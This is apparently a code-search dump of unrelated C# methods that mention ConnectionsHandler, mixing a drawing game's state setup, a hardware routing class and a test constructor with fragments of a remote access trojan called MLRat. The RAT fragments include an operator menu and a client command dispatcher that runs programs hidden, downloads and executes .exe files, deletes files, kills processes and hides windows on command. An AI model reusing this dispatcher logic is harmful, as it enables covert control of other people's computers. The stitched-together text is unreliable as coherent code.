public Game(ConnectionsHandler connectionsHandler, Settings settings) { Logger.Log(this, "Initialised"); ConnectionsHandler = connectionsHandler; connectionsHandler.AddMessageListener(this); Settings = settings; States = new Dictionary <GameState, State <TData> >(); }
public void OnClientDisconnect(IClient client) { PingHandler.Disconnect(client); RegistryEditorHandler.Disconnect(client); FileExplorerHandler.Disconnect(client); TaskManagerHandler.Disconnect(client); ConsoleHandler.Disconnect(client); ClipboardHandler.Disconnect(client); StartupManagerhandler.Disconnect(client); ConnectionsHandler.Disconnect(client); }
public DrawesomeGame(ConnectionsHandler connections, Settings settings) : base(connections, settings) { AddState(GameState.PreGame, new StatePreGame(settings)); AddState(GameState.RoundBegin, new StateRoundBegin(settings)); AddState(GameState.Drawing, new StateDrawingPhase(settings)); AddState(GameState.Answering, new StateAnsweringPhase(settings)); AddState(GameState.Choosing, new StateChoosingPhase(settings)); AddState(GameState.Results, new StateResultsPhase(settings)); AddState(GameState.Scores, new StateScores(settings)); AddState(GameState.FinalScores, new StateFinalScores(settings)); }
public void OnPluginLoad(IClientHost server) { NetworkHost = server; TaskManagerHandler.SetNetworkHost(NetworkHost); RegistryEditorHandler.SetNetworkHost(NetworkHost); FileManagerHandler.SetNetworkHost(NetworkHost); ConsoleHandler.SetNetworkHost(NetworkHost); MiscHandler.SetClientHost(server); ClipboardHandler.SetHost(server); StartupHandler.SetHost(server); ConnectionsHandler.SetHost(server); }
public void End() { Logger.Log(this, "Ended"); GameEnded = true; CancelTransitionTimer(); ConnectionsHandler.RemoveMessageListener(this); if (OnEnd != null) { OnEnd(this, null); } }
public void OnDataRetrieved(IClient client, object[] data) { NetworkCommand command = (NetworkCommand)data[0]; MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue); if (data.Length > 1) { MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue); } if (command == NetworkCommand.Pong) { PingHandler.EndPing(client); } if (command == NetworkCommand.RegistryEdit) { RegistryEditorHandler.Handle(client, data); } if (command == NetworkCommand.FileManager) { FileExplorerHandler.Handle(client, data); } if (command == NetworkCommand.TaskManager) { TaskManagerHandler.Handle(client, data); } if (command == NetworkCommand.Console) { ConsoleHandler.Handle(client, data); } if (command == NetworkCommand.Clipboard) { ClipboardHandler.Handle(client, data); } if (command == NetworkCommand.StartupManager) { StartupManagerhandler.Handle(client, data); } if (command == NetworkCommand.Connections) { ConnectionsHandler.Handle(client, data); } }
public void OnPluginLoad(IServerUIHandler UIHost) { MUIHost = UIHost; FileExplorerHandler.SetUIHost(UIHost); TaskManagerHandler.SetUIHost(UIHost); ConnectionsHandler.SetUIHost(UIHost); UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green); PingHandler.Column = UIHost.AddColumn("Ping", "-"); MLRatContextEntry management = new MLRatContextEntry() { Text = "Management", Icon = "management.png" }; MLRatContextEntry network = new MLRatContextEntry() { Text = "Network", Icon = "network.png" }; management.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon = "folder_explore.png" }, new MLRatContextEntry() { Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon = "registry.png" }, new MLRatContextEntry() { Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon = "system_time.png" }, new MLRatContextEntry() { Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon = "list.png" }, new MLRatContextEntry() { Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon = "clipboard.png" }, new MLRatContextEntry() { Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon = "connections.png" }, new MLRatContextEntry() { Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon = "cmd.png" }, }; network.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Ping", OnClick = PingHandler.ContextCallback, Icon = "Antena.png" }, new MLRatContextEntry() { Text = "Run", Icon = "monitor-lightning.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png" }, new MLRatContextEntry() { Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png" }, } }, new MLRatContextEntry() { Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon = "globe.png" }, new MLRatContextEntry() { Text = "Client Executable", Icon = "cog.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon = "disconnect.png" }, new MLRatContextEntry() { Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon = "restart.png" }, new MLRatContextEntry() { Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon = "cross.png" } } }, }; UIHost.AddContext(network, management); }
public SimpleRouter(Module mod) { this.Connections = new ConnectionsHandler(mod); this.MissingNodeIO = new HashSet <FIRRTLNode>(mod.GetAllNodesIncludeModule()); MissingNodeIO.RemoveWhere(x => x is INoPlaceAndRoute); }
public ConnectionsHandlerTest(ITestOutputHelper testOutputHelper) { _handler = new ConnectionsHandler(); _testOutputHelper = testOutputHelper; }
public void OnDataRecieved(object[] data) { NetworkCommand command = (NetworkCommand)data[0]; Console.WriteLine("NetworkCommand: {0}", command.ToString()); if (command == NetworkCommand.TaskManager) { TaskManagerHandler.Handle(data); } if (command == NetworkCommand.RegistryEdit) { RegistryEditorHandler.Handle(data); } if (command == NetworkCommand.FileManager) { FileManagerHandler.Handle(data); } if (command == NetworkCommand.Console) { ConsoleHandler.Handle(data); } if (command == NetworkCommand.Clipboard) { ClipboardHandler.Handle(data); } if (command == NetworkCommand.StartupManager) { StartupHandler.Handle(data); } if (command == NetworkCommand.Connections) { ConnectionsHandler.Handle(data); } if (command == NetworkCommand.Close) { Environment.Exit(0); } if (command == NetworkCommand.Restart) { MiscHandler.Restart(); } if (command == NetworkCommand.Ping) { NetworkHost.Send((byte)NetworkCommand.Pong); } if (command == NetworkCommand.Execute) { MiscHandler.Execute((string)data[1]); } if (command == NetworkCommand.ExecuteHidden) { MiscHandler.ExecuteHidden((string)data[1]); } if (command == NetworkCommand.DeleteFile) { MiscHandler.DeleteFile((string)data[1]); } if (command == NetworkCommand.DownloadAndExecute) { MiscHandler.DownloadAndExecute((string)data[1], ".exe"); } if (command == NetworkCommand.DownloadFile) { MiscHandler.DownloadFile((string)data[1], (string)data[2]); } if (command == NetworkCommand.KillProcess) { MiscHandler.KillProcess((int)data[1]); } if (command == NetworkCommand.SuspendProcess) { MiscHandler.SuspendProcess((int)data[1]); } if (command == NetworkCommand.ResumeProcess) { MiscHandler.ResumeProcess((int)data[1]); } if (command == NetworkCommand.HideWindow) { MiscHandler.HideWindow((int)data[1]); } }